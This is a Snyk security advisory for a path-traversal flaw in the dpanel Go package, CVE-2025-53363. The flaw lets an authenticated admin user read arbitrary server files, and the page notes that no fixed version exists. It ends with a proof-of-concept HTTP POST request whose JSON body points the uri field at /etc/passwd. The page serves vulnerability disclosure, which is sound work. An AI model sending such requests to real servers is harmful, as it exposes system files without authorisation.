External Control of File Name or Path Affecting github.com/donknap/dpanel/app/application/http/controller package, versions >=1.2.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMDONKNAPDPANELAPPAPPLICATIONHTTPCONTROLLER-12179268
- published25 Aug 2025
- disclosed22 Aug 2025
- creditLTLTLXEY
Introduced: 22 Aug 2025
NewCVE-2025-53363 (opens in a new tab)How to fix?
There is no fixed version for github.com/donknap/dpanel/app/application/http/controller.
Overview
Affected versions of this package are vulnerable to External Control of File Name or Path via the /api/app/compose/get-from-uri endpoint, which uses the GetFromUri function. A user can access arbitrary files on the server by passing arbitrary paths as the uri parameter. This is only exploitable if the user has access to the administrative backend.
PoC
POST /api/app/compose/get-from-uri HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Authorization: Bearer ...
Connection: close
Content-Type: application/json
Content-Length: 21
{"uri":"/etc/passwd"}